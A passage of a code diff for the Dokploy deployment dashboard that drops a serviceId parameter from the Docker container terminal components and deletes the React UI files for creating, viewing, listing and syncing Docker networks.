@@ -76,7 +74,6 @@ export const DockerTerminalModal = ({
 					id="terminal"
 					containerId={containerId}
 					serverId={serverId || ""}
-					serviceId={serviceId}
 				/>
 				<Dialog open={confirmDialogOpen} onOpenChange={setConfirmDialogOpen}>
 					<DialogContent onEscapeKeyDown={(event) => event.preventDefault()}>

apps/dokploy/components/dashboard/docker/terminal/docker-terminal.tsx

@@ -10,14 +10,12 @@ interface Props {
 	id: string;
 	containerId?: string;
 	serverId?: string;
-	serviceId?: string;
 }
 
 export const DockerTerminal: React.FC<Props> = ({
 	id,
 	containerId,
 	serverId,
-	serviceId,
 }) => {
 	const termRef = useRef(null);
 	const [activeWay, setActiveWay] = React.useState<string | undefined>("bash");
@@ -40,7 +38,7 @@ export const DockerTerminal: React.FC<Props> = ({
 		const addonFit = new FitAddon();
 		const protocol = window.location.protocol === "https:" ? "wss:" : "ws:";
 
-		const wsUrl = `${protocol}//${window.location.host}/docker-container-terminal?containerId=${containerId}&activeWay=${activeWay}${serverId ? `&serverId=${serverId}` : ""}${serviceId ? `&serviceId=${serviceId}` : ""}`;
+		const wsUrl = `${protocol}//${window.location.host}/docker-container-terminal?containerId=${containerId}&activeWay=${activeWay}${serverId ? `&serverId=${serverId}` : ""}`;
 
 		const ws = new WebSocket(wsUrl);
 

apps/dokploy/components/dashboard/libsql/general/show-general-libsql.tsx

@@ -229,7 +229,6 @@ export const ShowGeneralLibsql = ({ libsqlId }: Props) => {
 						)}
 						<DockerTerminalModal
 							appName={data?.appName || ""}
-							serviceId={data?.libsqlId}
 							serverId={data?.serverId || ""}
 						>
 							<Button

apps/dokploy/components/dashboard/mariadb/general/show-general-mariadb.tsx

@@ -236,7 +236,6 @@ export const ShowGeneralMariadb = ({ mariadbId }: Props) => {
 							))}
 						<DockerTerminalModal
 							appName={data?.appName || ""}
-							serviceId={data?.mariadbId}
 							serverId={data?.serverId || ""}
 						>
 							<Button

apps/dokploy/components/dashboard/mongo/general/show-general-mongo.tsx

@@ -230,7 +230,6 @@ export const ShowGeneralMongo = ({ mongoId }: Props) => {
 						</TooltipProvider>
 						<DockerTerminalModal
 							appName={data?.appName || ""}
-							serviceId={data?.mongoId}
 							serverId={data?.serverId || ""}
 						>
 							<Button

apps/dokploy/components/dashboard/mysql/general/show-general-mysql.tsx

@@ -228,7 +228,6 @@ export const ShowGeneralMysql = ({ mysqlId }: Props) => {
 						</TooltipProvider>
 						<DockerTerminalModal
 							appName={data?.appName || ""}
-							serviceId={data?.mysqlId}
 							serverId={data?.serverId || ""}
 						>
 							<Button

apps/dokploy/components/dashboard/networks/handle-network.tsx

@@ -1,373 +0,0 @@
-"use client";
-
-import { standardSchemaResolver as zodResolver } from "@hookform/resolvers/standard-schema";
-import { Network, Plus, Trash2 } from "lucide-react";
-import { useState } from "react";
-import { useFieldArray, useForm } from "react-hook-form";
-import { toast } from "sonner";
-import { z } from "zod";
-import { Button } from "@/components/ui/button";
-import {
-	Dialog,
-	DialogContent,
-	DialogDescription,
-	DialogFooter,
-	DialogHeader,
-	DialogTitle,
-	DialogTrigger,
-} from "@/components/ui/dialog";
-import {
-	Form,
-	FormControl,
-	FormDescription,
-	FormField,
-	FormItem,
-	FormLabel,
-	FormMessage,
-} from "@/components/ui/form";
-import { Input } from "@/components/ui/input";
-import {
-	Select,
-	SelectContent,
-	SelectItem,
-	SelectTrigger,
-	SelectValue,
-} from "@/components/ui/select";
-import { Switch } from "@/components/ui/switch";
-import { api } from "@/utils/api";
-
-// Only bridge and overlay can be created: "host"/"none" are Docker
-// singletons and macvlan/ipvlan need driver options we don't expose.
-const networkDriverEnum = ["bridge", "overlay"] as const;
-
-const ipamConfigEntrySchema = z.object({
-	subnet: z.string().optional(),
-	ipRange: z.string().optional(),
-	gateway: z.string().optional(),
-});
-
-const networkFormSchema = z
-	.object({
-		name: z.string().min(1, "Name is required"),
-		driver: z.enum(networkDriverEnum),
-		internal: z.boolean(),
-		attachable: z.boolean(),
-		enableIPv4: z.boolean(),
-		enableIPv6: z.boolean(),
-		ipamDriver: z.string().optional(),
-		ipamConfig: z.array(ipamConfigEntrySchema),
-	})
-	.superRefine((input, ctx) => {
-		if (!input.enableIPv4 && !input.enableIPv6) {
-			ctx.addIssue({
-				code: z.ZodIssueCode.custom,
-				path: ["enableIPv4"],
-				message: "IPv4 or IPv6 must be enabled",
-			});
-		}
-		for (const [index, entry] of input.ipamConfig.entries()) {
-			if (!entry.subnet && (entry.gateway || entry.ipRange)) {
-				ctx.addIssue({
-					code: z.ZodIssueCode.custom,
-					path: ["ipamConfig", index, "subnet"],
-					message: "Gateway and IP range require a subnet",
-				});
-			}
-		}
-	});
-
-type NetworkFormValues = z.infer<typeof networkFormSchema>;
-
-const defaultValues: NetworkFormValues = {
-	name: "",
-	driver: "bridge",
-	internal: false,
-	attachable: false,
-	enableIPv4: true,
-	enableIPv6: false,
-	ipamDriver: "",
-	ipamConfig: [],
-};
-
-const toggleOptions = [
-	{
-		name: "internal",
-		label: "Internal",
-		description: "Containers on this network cannot reach external networks.",
-	},
-	{
-		name: "attachable",
-		label: "Attachable",
-		description:
-			"Allow standalone containers to attach (overlay networks only).",
-	},
-	{
-		name: "enableIPv4",
-		label: "Enable IPv4",
-		description: "Enable IPv4 addressing on the network.",
-	},
-	{
-		name: "enableIPv6",
-		label: "Enable IPv6",
-		description: "Enable IPv6 addressing on the network.",
-	},
-] as const;
-
-interface HandleNetworkProps {
-	/** Target server; undefined creates on the local Dokploy server */
-	serverId?: string;
-	children?: React.ReactNode;
-}
-
-// Docker networks are immutable, so this dialog only creates them;
-// changing a network means deleting and recreating it.
-export const HandleNetwork = ({ serverId, children }: HandleNetworkProps) => {
-	const [isOpen, setIsOpen] = useState(false);
-	const utils = api.useUtils();
-
-	const { mutateAsync, isPending } = api.network.create.useMutation();
-
-	const form = useForm<NetworkFormValues>({
-		resolver: zodResolver(networkFormSchema),
-		defaultValues,
-	});
-
-	const ipamConfigFieldArray = useFieldArray({
-		control: form.control,
-		name: "ipamConfig",
-	});
-
-	const onSubmit = async (data: NetworkFormValues) => {
-		try {
-			await mutateAsync({
-				name: data.name,
-				driver: data.driver,
-				serverId,
-				internal: data.internal,
-				attachable: data.attachable,
-				enableIPv4: data.enableIPv4,
-				enableIPv6: data.enableIPv6,
-				ipam: {
-					driver: data.ipamDriver || undefined,
-					config: data.ipamConfig,
-				},
-			});
-
-			toast.success("Network created");
-			await utils.network.all.invalidate();
-			setIsOpen(false);
-			form.reset(defaultValues);
-		} catch (error) {
-			toast.error("Error creating network", {
-				description: error instanceof Error ? error.message : "Unknown error",
-			});
-		}
-	};
-
-	const trigger = children ?? (
-		<Button>
-			<Plus className=" size-4" />
-			Add network
-		</Button>
-	);
-
-	return (
-		<Dialog open={isOpen} onOpenChange={setIsOpen}>
-			<DialogTrigger asChild>{trigger}</DialogTrigger>
-			<DialogContent className="sm:max-w-2xl max-h-[90vh] overflow-y-auto">
-				<DialogHeader>
-					<DialogTitle className="flex items-center gap-2">
-						<Network className="size-5 text-muted-foreground" />
-						Add network
-					</DialogTitle>
-					<DialogDescription>
-						Create a new Docker network for your organization. Networks are
-						immutable: to change one, delete it and create it again.
-					</DialogDescription>
-				</DialogHeader>
-				<Form {...form}>
-					<form
-						onSubmit={form.handleSubmit(onSubmit)}
-						className="flex w-full flex-col gap-6"
-					>
-						<div className="grid grid-cols-1 gap-4 sm:grid-cols-2">
-							<FormField
-								control={form.control}
-								name="name"
-								render={({ field }) => (
-									<FormItem>
-										<FormLabel>Name</FormLabel>
-										<FormControl>
-											<Input placeholder="my-network" {...field} />
-										</FormControl>
-										<FormMessage />
-									</FormItem>
-								)}
-							/>
-							<FormField
-								control={form.control}
-								name="driver"
-								render={({ field }) => (
-									<FormItem>
-										<FormLabel>Driver</FormLabel>
-										<Select onValueChange={field.onChange} value={field.value}>
-											<FormControl>
-												<SelectTrigger>
-													<SelectValue placeholder="Select driver" />
-												</SelectTrigger>
-											</FormControl>
-											<SelectContent>
-												{networkDriverEnum.map((d) => (
-													<SelectItem key={d} value={d}>
-														{d}
-													</SelectItem>
-												))}
-											</SelectContent>
-										</Select>
-										<FormDescription className="text-muted-foreground">
-											bridge for single-server containers; overlay for Swarm
-											services.
-										</FormDescription>
-										<FormMessage />
-									</FormItem>
-								)}
-							/>
-						</div>
-						<div className="grid grid-cols-1 gap-4 sm:grid-cols-2">
-							{toggleOptions.map((option) => (
-								<FormField
-									key={option.name}
-									control={form.control}
-									name={option.name}
-									render={({ field }) => (
-										<FormItem className="flex flex-row items-start justify-between gap-3 space-y-0 rounded-lg border p-4">
-											<div className="space-y-1 pr-1">
-												<FormLabel>{option.label}</FormLabel>
-												<FormDescription className="text-muted-foreground">
-													{option.description}
-												</FormDescription>
-											</div>
-											<FormControl>
-												<Switch
-													checked={field.value}
-													onCheckedChange={field.onChange}
-												/>
-											</FormControl>
-										</FormItem>
-									)}
-								/>
-							))}
-						</div>
-						<div className="space-y-4 rounded-lg border p-4">
-							<div className="space-y-1">
-								<FormLabel>IPAM</FormLabel>
-								<p className="text-sm text-muted-foreground">
-									IP address management settings for this network.
-								</p>
-							</div>
-							<FormField
-								control={form.control}
-								name="ipamDriver"
-								render={({ field }) => (
-									<FormItem>
-										<FormLabel className="text-muted-foreground">
-											Driver (optional)
-										</FormLabel>
-										<FormControl>
-											<Input {...field} placeholder="default" />
-										</FormControl>
-										<FormMessage />
-									</FormItem>
-								)}
-							/>
-							<div className="space-y-2">
-								<FormLabel className="text-muted-foreground">
-									Config (subnet / gateway / IP range)
-								</FormLabel>
-								{ipamConfigFieldArray.fields.map((field, index) => (
-									<div key={field.id} className="flex flex-wrap gap-2">
-										<FormField
-											control={form.control}
-											name={`ipamConfig.${index}.subnet`}
-											render={({ field: f }) => (
-												<FormItem className="min-w-[140px] flex-1">
-													<FormControl>
-														<Input
-															{...f}
-															placeholder="Subnet (e.g. 172.20.0.0/16)"
-														/>
-													</FormControl>
-													<FormMessage />
-												</FormItem>
-											)}
-										/>
-										<FormField
-											control={form.control}
-											name={`ipamConfig.${index}.ipRange`}
-											render={({ field: f }) => (
-												<FormItem className="min-w-[120px] flex-1">
-													<FormControl>
-														<Input {...f} placeholder="IP range" />
-													</FormControl>
-													<FormMessage />
-												</FormItem>
-											)}
-										/>
-										<FormField
-											control={form.control}
-											name={`ipamConfig.${index}.gateway`}
-											render={({ field: f }) => (
-												<FormItem className="min-w-[120px] flex-1">
-													<FormControl>
-														<Input {...f} placeholder="Gateway" />
-													</FormControl>
-													<FormMessage />
-												</FormItem>
-											)}
-										/>
-										<Button
-											type="button"
-											variant="outline"
-											size="icon"
-											aria-label="Remove IPAM config"
-											onClick={() => ipamConfigFieldArray.remove(index)}
-										>
-											<Trash2 className="size-4" />
-										</Button>
-									</div>
-								))}
-								<Button
-									type="button"
-									variant="outline"
-									size="sm"
-									onClick={() =>
-										ipamConfigFieldArray.append({
-											subnet: "",
-											ipRange: "",
-											gateway: "",
-										})
-									}
-								>
-									<Plus className="size-4" />
-									Add IPAM config
-								</Button>
-							</div>
-						</div>
-						<DialogFooter>
-							<Button
-								type="button"
-								variant="outline"
-								onClick={() => setIsOpen(false)}
-							>
-								Cancel
-							</Button>
-							<Button type="submit" isLoading={isPending}>
-								Create network
-							</Button>
-						</DialogFooter>
-					</form>
-				</Form>
-			</DialogContent>
-		</Dialog>
-	);
-};

apps/dokploy/components/dashboard/networks/show-network-config.tsx

@@ -1,69 +0,0 @@
-"use client";
-
-import { Eye, Loader2 } from "lucide-react";
-import { useState } from "react";
-import { AlertBlock } from "@/components/shared/alert-block";
-import { CodeEditor } from "@/components/shared/code-editor";
-import { Button } from "@/components/ui/button";
-import {
-	Dialog,
-	DialogContent,
-	DialogDescription,
-	DialogHeader,
-	DialogTitle,
-	DialogTrigger,
-} from "@/components/ui/dialog";
-import { api } from "@/utils/api";
-
-interface Props {
-	networkId: string;
-	networkName: string;
-}
-
-export const ShowNetworkConfig = ({ networkId, networkName }: Props) => {
-	const [open, setOpen] = useState(false);
-	const { data, isLoading, error } = api.network.inspect.useQuery(
-		{ networkId },
-		{ enabled: open },
-	);
-
-	return (
-		<Dialog open={open} onOpenChange={setOpen}>
-			<DialogTrigger asChild>
-				<Button variant="ghost" size="icon-sm" aria-label="View network config">
-					<Eye className="size-4" />
-				</Button>
-			</DialogTrigger>
-			<DialogContent className="w-full md:w-[70vw] min-w-[70vw]">
-				<DialogHeader>
-					<DialogTitle>Network Config</DialogTitle>
-					<DialogDescription>
-						docker network inspect output for "{networkName}"
-					</DialogDescription>
-				</DialogHeader>
-				{error ? (
-					<AlertBlock type="error">{error.message}</AlertBlock>
-				) : isLoading ? (
-					<div className="flex flex-row gap-2 items-center justify-center py-10 text-sm text-muted-foreground">
-						<span>Loading...</span>
-						<Loader2 className="animate-spin size-4" />
-					</div>
-				) : (
-					<div className="text-wrap rounded-lg border p-4 overflow-y-auto text-sm bg-card max-h-[80vh]">
-						<code>
-							<pre className="whitespace-pre-wrap wrap-break-word">
-								<CodeEditor
-									language="json"
-									lineWrapping
-									lineNumbers={false}
-									readOnly
-									value={JSON.stringify(data, null, 2)}
-								/>
-							</pre>
-						</code>
-					</div>
-				)}
-			</DialogContent>
-		</Dialog>
-	);
-};

apps/dokploy/components/dashboard/networks/show-networks.tsx

@@ -1,494 +0,0 @@
-"use client";
-
-import {
-	type ColumnDef,
-	flexRender,
-	getCoreRowModel,
-	getPaginationRowModel,
-	getSortedRowModel,
-	type PaginationState,
-	type SortingState,
-	useReactTable,
-} from "@tanstack/react-table";
-import type { inferRouterOutputs } from "@trpc/server";
-import {
-	ArrowUpDown,
-	Loader2,
-	Network,
-	RotateCcw,
-	ShieldCheck,
-	Trash2,
-} from "lucide-react";
-import { useMemo, useState } from "react";
-import { toast } from "sonner";
-import { HandleNetwork } from "@/components/dashboard/networks/handle-network";
-import { ShowNetworkConfig } from "@/components/dashboard/networks/show-network-config";
-import { SyncNetworks } from "@/components/dashboard/networks/sync-networks";
-import { DialogAction } from "@/components/shared/dialog-action";
-import { Badge } from "@/components/ui/badge";
-import { Button } from "@/components/ui/button";
-import {
-	Card,
-	CardAction,
-	CardContent,
-	CardDescription,
-	CardHeader,
-	CardTitle,
-} from "@/components/ui/card";
-import { Input } from "@/components/ui/input";
-import {
-	Select,
-	SelectContent,
-	SelectItem,
-	SelectTrigger,
-	SelectValue,
-} from "@/components/ui/select";
-import {
-	Table,
-	TableBody,
-	TableCell,
-	TableHead,
-	TableHeader,
-	TableRow,
-} from "@/components/ui/table";
-import type { AppRouter } from "@/server/api/root";
-import { api } from "@/utils/api";
-
-type NetworkRow = inferRouterOutputs<AppRouter>["network"]["all"][number];
-
-interface Props {
-	/** Selected server; undefined shows the local Dokploy server */
-	serverId?: string;
-}
-
-const getIpamEntries = (row: NetworkRow) =>
-	(row.ipam?.config ?? []).filter((c) => c.subnet || c.gateway || c.ipRange);
-
-const SortableHeader = ({
-	column,
-	title,
-}: {
-	column: {
-		getIsSorted: () => false | "asc" | "desc";
-		toggleSorting: (asc: boolean) => void;
-	};
-	title: string;
-}) => (
-	<Button
-		variant="ghost"
-		className="-ml-3 h-8"
-		onClick={() => column.toggleSorting(column.getIsSorted() === "asc")}
-	>
-		{title}
-		<ArrowUpDown className="ml-2 size-4" />
-	</Button>
-);
-
-export const ShowNetworks = ({ serverId }: Props) => {
-	const utils = api.useUtils();
-	const [verified, setVerified] = useState(false);
-	const [sorting, setSorting] = useState<SortingState>([
-		{ id: "createdAt", desc: true },
-	]);
-	const [globalFilter, setGlobalFilter] = useState("");
-	const [driverFilter, setDriverFilter] = useState<string>("all");
-	const [pagination, setPagination] = useState<PaginationState>({
-		pageIndex: 0,
-		pageSize: 10,
-	});
-
-	const { data: networks, isLoading } = api.network.all.useQuery({ serverId });
-	const { mutateAsync: removeNetwork } = api.network.remove.useMutation();
-	const recreateMutation = api.network.recreate.useMutation();
-
-	// Same query the Sync dialog uses; "missing" tells us which records
-	// no longer have a real network in Docker
-	const {
-		data: syncStatus,
-		isFetching: isVerifying,
-		refetch: refetchVerify,
-	} = api.network.networksToSync.useQuery({ serverId }, { enabled: verified });
-
-	const missingIds = useMemo(
-		() => new Set(syncStatus?.missing.map((m) => m.networkId) ?? []),
-		[syncStatus],
-	);
-
-	const onVerify = async () => {
-		setVerified(true);
-		const { data: result, error } = await refetchVerify();
-		if (error) {
-			toast.error("Error verifying networks", {
-				description: error.message,
-			});
-			return;
-		}
-		if (!result) return;
-		if (result.missing.length === 0) {
-			toast.success("All networks exist in Docker");
-		} else {
-			toast.warning(
-				`${result.missing.length} network(s) no longer exist in Docker`,
-			);
-		}
-	};
-
-	const filteredData = useMemo(() => {
-		let list = networks ?? [];
-		if (driverFilter !== "all") {
-			list = list.filter((n) => n.driver === driverFilter);
-		}
-		if (globalFilter.trim()) {
-			const query = globalFilter.toLowerCase();
-			list = list.filter(
-				(n) =>
-					n.name.toLowerCase().includes(query) ||
-					(n.ipam?.config ?? []).some(
-						(c) =>
-							c.subnet?.toLowerCase().includes(query) ||
-							c.gateway?.toLowerCase().includes(query) ||
-							c.ipRange?.toLowerCase().includes(query),
-					),
-			);
-		}
-		return list;
-	}, [networks, driverFilter, globalFilter]);
-
-	const columns = useMemo<ColumnDef<NetworkRow>[]>(
-		() => [
-			{
-				accessorKey: "name",
-				header: ({ column }) => <SortableHeader column={column} title="Name" />,
-				cell: ({ row }) => (
-					<div className="flex items-center gap-2 font-medium">
-						{row.original.name}
-						{verified &&
-							syncStatus &&
-							(missingIds.has(row.original.networkId) ? (
-								<>
-									<Badge variant="red">Missing in Docker</Badge>
-									<Button
-										variant="outline"
-										size="xs"
-										isLoading={recreateMutation.isPending}
-										onClick={async () => {
-											try {
-												await recreateMutation.mutateAsync({
-													networkId: row.original.networkId,
-												});
-												toast.success(
-													`Network "${row.original.name}" recreated in Docker`,
-												);
-												await utils.network.networksToSync.invalidate();
-											} catch (error) {
-												toast.error("Error recreating network", {
-													description:
-														error instanceof Error
-															? error.message
-															: "Unknown error",
-												});
-											}
-										}}
-									>
-										<RotateCcw className="size-3.5" />
-										Recreate
-									</Button>
-								</>
-							) : (
-								<Badge variant="green">In sync</Badge>
-							))}
-					</div>
-				),
-			},
-			{
-				accessorKey: "driver",
-				header: ({ column }) => (
-					<SortableHeader column={column} title="Driver" />
-				),
-				cell: ({ row }) => (
-					<div className="flex items-center gap-2">
-						<Badge variant="outline">{row.original.driver}</Badge>
-						<span className="text-xs text-muted-foreground">
-							{row.original.driver === "overlay" ? "swarm" : "local"}
-						</span>
-					</div>
-				),
-			},
-			{
-				id: "subnet",
-				accessorFn: (row) => getIpamEntries(row)[0]?.subnet ?? "",
-				header: ({ column }) => (
-					<SortableHeader column={column} title="Subnet" />
-				),
-				cell: ({ row }) => {
-					const ipamEntries = getIpamEntries(row.original);
-					if (ipamEntries.length === 0) {
-						return <span className="text-muted-foreground">Auto</span>;
-					}
-					return (
-						<div className="flex flex-col gap-1">
-							{ipamEntries.map((c, index) => (
-								<div
-									key={`${row.original.networkId}-ipam-${index}`}
-									className="flex flex-col"
-								>
-									<span>{c.subnet ?? "—"}</span>
-									{(c.gateway || c.ipRange) && (
-										<span className="text-xs text-muted-foreground">
-											{[
-												c.gateway && `gw ${c.gateway}`,
-												c.ipRange && `range ${c.ipRange}`,
-											]
-												.filter(Boolean)
-												.join(" · ")}
-										</span>
-									)}
-								</div>
-							))}
-						</div>
-					);
-				},
-			},
-			{
-				accessorKey: "internal",
-				header: ({ column }) => (
-					<SortableHeader column={column} title="Internal" />
-				),
-				cell: ({ row }) => (
-					<span className="text-muted-foreground">
-						{row.original.internal ? "Yes" : "No"}
-					</span>
-				),
-			},
-			{
-				accessorKey: "attachable",
-				header: ({ column }) => (
-					<SortableHeader column={column} title="Attachable" />
-				),
-				cell: ({ row }) => (
-					<span className="text-muted-foreground">
-						{row.original.attachable ? "Yes" : "No"}
-					</span>
-				),
-			},
-			{
-				accessorKey: "createdAt",
-				header: ({ column }) => (
-					<SortableHeader column={column} title="Created" />
-				),
-				cell: ({ row }) => (
-					<span className="text-muted-foreground whitespace-nowrap">
-						{new Date(row.original.createdAt).toLocaleDateString()}
-					</span>
-				),
-			},
-			{
-				id: "actions",
-				enableSorting: false,
-				header: () => <div className="text-right">Actions</div>,
-				cell: ({ row }) => (
-					<div className="flex items-center justify-end gap-3">
-						<ShowNetworkConfig
-							networkId={row.original.networkId}
-							networkName={row.original.name}
-						/>
-						<DialogAction
-							title="Delete network"
-							description={`The network "${row.original.name}" will be removed from Docker and Dokploy. This action cannot be undone.`}
-							onClick={async () => {
-								try {
-									await removeNetwork({
-										networkId: row.original.networkId,
-									});
-									toast.success("Network deleted");
-									await utils.network.all.invalidate();
-									await utils.network.networksToSync.invalidate();
-								} catch (error) {
-									toast.error("Error deleting network", {
-										description:
-											error instanceof Error ? error.message : "Unknown error",
-									});
-								}
-							}}
-						>
-							<Button
-								variant="ghost"
-								size="icon-sm"
-								aria-label="Delete network"
-							>
-								<Trash2 className="size-4 text-destructive" />
-							</Button>
-						</DialogAction>
-					</div>
-				),
-			},
-		],
-		[verified, syncStatus, missingIds, removeNetwork, recreateMutation, utils],
-	);
-
-	const table = useReactTable({
-		data: filteredData,
-		columns,
-		state: {
-			sorting,
-			pagination,
-		},
-		onSortingChange: setSorting,
-		onPaginationChange: setPagination,
-		getCoreRowModel: getCoreRowModel(),
-		getSortedRowModel: getSortedRowModel(),
-		getPaginationRowModel: getPaginationRowModel(),
-	});
-
-	return (
-		<div className="w-full">
-			<Card className="h-full bg-sidebar p-2.5 rounded-xl">
-				<div className="rounded-xl bg-background shadow-md ">
-					<CardHeader className="">
-						<CardTitle className="text-xl flex flex-row gap-2">
-							<Network className="size-6 text-muted-foreground self-center" />
-							Networks
-						</CardTitle>
-						<CardDescription>
-							Manage the Docker networks of the selected server.
-						</CardDescription>
-						<CardAction className="self-center">
-							<div className="flex items-center gap-2">
-								{networks && networks.length > 0 && (
-									<Button
-										variant="outline"
-										isLoading={isVerifying}
-										onClick={onVerify}
-									>
-										<ShieldCheck className="size-4" />
-										Verify
-									</Button>
-								)}
-								<SyncNetworks serverId={serverId} />
-								{networks && networks.length > 0 && (
-									<HandleNetwork serverId={serverId} />
-								)}
-							</div>
-						</CardAction>
-					</CardHeader>
-
-					<CardContent className="space-y-4 py-8 border-t">
-						{isLoading ? (
-							<div className="flex flex-row gap-2 items-center justify-center text-sm text-muted-foreground min-h-[45vh]">
-								<span>Loading...</span>
-								<Loader2 className="animate-spin size-4" />
-							</div>
-						) : !networks?.length ? (
-							<div className="flex min-h-[45vh] w-full flex-col items-center justify-center gap-4 rounded-lg border border-dashed p-8">
-								<div className="rounded-full bg-muted p-4">
-									<Network className="size-10 text-muted-foreground" />
-								</div>
-								<div className="space-y-1 text-center">
-									<p className="text-sm font-medium">No networks yet</p>
-									<p className="max-w-sm text-sm text-muted-foreground">
-										Create Docker networks for your organization and optionally
-										attach them to a server. Add your first network to get
-										started.
-									</p>
-								</div>
-								<HandleNetwork serverId={serverId} />
-							</div>
-						) : (
-							<>
-								<div className="flex flex-wrap items-center gap-2">
-									<Input
-										placeholder="Search by name, subnet, gateway..."
-										value={globalFilter}
-										onChange={(e) => setGlobalFilter(e.target.value)}
-										className="max-w-xs"
-									/>
-									<Select value={driverFilter} onValueChange={setDriverFilter}>
-										<SelectTrigger className="w-[150px]">
-											<SelectValue placeholder="Driver" />
-										</SelectTrigger>
-										<SelectContent>
-											<SelectItem value="all">All drivers</SelectItem>
-											<SelectItem value="bridge">bridge</SelectItem>
-											<SelectItem value="overlay">overlay</SelectItem>
-										</SelectContent>
-									</Select>
-								</div>
-								<div className="rounded-md border overflow-x-auto">
-									<Table>
-										<TableHeader>
-											{table.getHeaderGroups().map((headerGroup) => (
-												<TableRow key={headerGroup.id}>
-													{headerGroup.headers.map((header) => (
-														<TableHead key={header.id}>
-															{header.isPlaceholder
-																? null
-																: flexRender(
-																		header.column.columnDef.header,
-																		header.getContext(),
-																	)}
-														</TableHead>
-													))}
-												</TableRow>
-											))}
-										</TableHeader>
-										<TableBody>
-											{table.getRowModel().rows?.length ? (
-												table.getRowModel().rows.map((row) => (
-													<TableRow key={row.id}>
-														{row.getVisibleCells().map((cell) => (
-															<TableCell key={cell.id}>
-																{flexRender(
-																	cell.column.columnDef.cell,
-																	cell.getContext(),
-																)}
-															</TableCell>
-														))}
-													</TableRow>
-												))
-											) : (
-												<TableRow>
-													<TableCell
-														colSpan={columns.length}
-														className="h-24 text-center text-muted-foreground"
-													>
-														No networks match your filters.
-													</TableCell>
-												</TableRow>
-											)}
-										</TableBody>
-									</Table>
-								</div>
-								{table.getPageCount() > 1 && (
-									<div className="flex items-center justify-end gap-4">
-										<span className="text-sm text-muted-foreground">
-											Page {table.getState().pagination.pageIndex + 1} of{" "}
-											{table.getPageCount()}
-										</span>
-										<div className="flex gap-2">
-											<Button
-												variant="outline"
-												size="sm"
-												onClick={() => table.previousPage()}
-												disabled={!table.getCanPreviousPage()}
-											>
-												Previous
-											</Button>
-											<Button
-												variant="outline"
-												size="sm"
-												onClick={() => table.nextPage()}
-												disabled={!table.getCanNextPage()}
-											>
-												Next
-											</Button>
-										</div>
-									</div>
-								)}
-							</>
-						)}
-					</CardContent>
-				</div>
-			</Card>
-		</div>
-	);
-};

apps/dokploy/components/dashboard/networks/sync-networks.tsx

@@ -1,249 +0,0 @@
-"use client";
-
-import { Loader2, RefreshCw, RotateCcw, Trash2 } from "lucide-react";
-import { useState } from "react";
-import { toast } from "sonner";
-import { AlertBlock } from "@/components/shared/alert-block";
-import { Badge } from "@/components/ui/badge";
-import { Button } from "@/components/ui/button";
-import { Checkbox } from "@/components/ui/checkbox";
-import {
-	Dialog,
-	DialogContent,
-	DialogDescription,
-	DialogFooter,
-	DialogHeader,
-	DialogTitle,
-	DialogTrigger,
-} from "@/components/ui/dialog";
-import { Separator } from "@/components/ui/separator";
-import { api } from "@/utils/api";
-
-interface Props {
-	serverId?: string;
-}
-
-export const SyncNetworks = ({ serverId }: Props) => {
-	const [open, setOpen] = useState(false);
-	const [selected, setSelected] = useState<Set<string>>(new Set());
-	const utils = api.useUtils();
-
-	const { data, isLoading, error, refetch } =
-		api.network.networksToSync.useQuery({ serverId }, { enabled: open });
-
-	const importMutation = api.network.import.useMutation();
-	const removeMutation = api.network.remove.useMutation();
-	const recreateMutation = api.network.recreate.useMutation();
-
-	const toggleSelected = (name: string) => {
-		setSelected((prev) => {
-			const next = new Set(prev);
-			if (next.has(name)) {
-				next.delete(name);
-			} else {
-				next.add(name);
-			}
-			return next;
-		});
-	};
-
-	const onImport = async () => {
-		try {
-			const result = await importMutation.mutateAsync({
-				serverId,
-				names: Array.from(selected),
-			});
-
-			if (result.imported.length > 0) {
-				toast.success(`Imported ${result.imported.length} network(s)`);
-			}
-			for (const failure of result.errors) {
-				toast.error(`Could not import "${failure.name}"`, {
-					description: failure.error,
-				});
-			}
-
-			setSelected(new Set());
-			await utils.network.all.invalidate();
-
-			setOpen(false);
-			await refetch();
-		} catch (error) {
-			toast.error("Error importing networks", {
-				description: error instanceof Error ? error.message : "Unknown error",
-			});
-		}
-	};
-
-	const onRemoveStale = async (networkId: string, name: string) => {
-		try {
-			await removeMutation.mutateAsync({ networkId });
-			toast.success(`Removed stale record "${name}"`);
-			await utils.network.all.invalidate();
-			await refetch();
-		} catch (error) {
-			toast.error("Error removing record", {
-				description: error instanceof Error ? error.message : "Unknown error",
-			});
-		}
-	};
-
-	const onRecreate = async (networkId: string, name: string) => {
-		try {
-			await recreateMutation.mutateAsync({ networkId });
-			toast.success(`Network "${name}" recreated in Docker`);
-			await utils.network.all.invalidate();
-			await utils.network.networksToSync.invalidate();
-			await refetch();
-		} catch (error) {
-			toast.error("Error recreating network", {
-				description: error instanceof Error ? error.message : "Unknown error",
-			});
-		}
-	};
-
-	return (
-		<Dialog
-			open={open}
-			onOpenChange={(value) => {
-				setOpen(value);
-				if (!value) setSelected(new Set());
-			}}
-		>
-			<DialogTrigger asChild>
-				<Button variant="outline">
-					<RefreshCw className="size-4" />
-					Sync
-				</Button>
-			</DialogTrigger>
-			<DialogContent className="sm:max-w-xl max-h-[90vh] overflow-y-auto">
-				<DialogHeader>
-					<DialogTitle className="flex items-center gap-2">
-						<RefreshCw className="size-5 text-muted-foreground" />
-						Sync networks
-					</DialogTitle>
-					<DialogDescription>
-						Import networks that exist in Docker but not in Dokploy, and clean
-						up records whose network no longer exists.
-					</DialogDescription>
-				</DialogHeader>
-
-				{error ? (
-					<AlertBlock type="error">{error.message}</AlertBlock>
-				) : isLoading ? (
-					<div className="flex flex-row gap-2 items-center justify-center py-10 text-sm text-muted-foreground">
-						<span>Scanning Docker networks...</span>
-						<Loader2 className="animate-spin size-4" />
-					</div>
-				) : (
-					<div className="flex flex-col gap-4">
-						<div className="flex flex-col gap-2">
-							<span className="text-sm font-medium">
-								Found in Docker ({data?.importable.length ?? 0})
-							</span>
-							{data?.importable.length ? (
-								data.importable.map((dockerNetwork) => (
-									<label
-										key={dockerNetwork.name}
-										htmlFor={`import-network-${dockerNetwork.name}`}
-										className="flex cursor-pointer items-center justify-between gap-3 rounded-lg border p-3"
-									>
-										<div className="flex items-center gap-3">
-											<Checkbox
-												id={`import-network-${dockerNetwork.name}`}
-												checked={selected.has(dockerNetwork.name)}
-												onCheckedChange={() =>
-													toggleSelected(dockerNetwork.name)
-												}
-											/>
-											<div className="flex flex-col">
-												<span className="text-sm font-medium">
-													{dockerNetwork.name}
-												</span>
-												{dockerNetwork.subnets.length > 0 && (
-													<span className="text-xs text-muted-foreground">
-														{dockerNetwork.subnets.join(" · ")}
-													</span>
-												)}
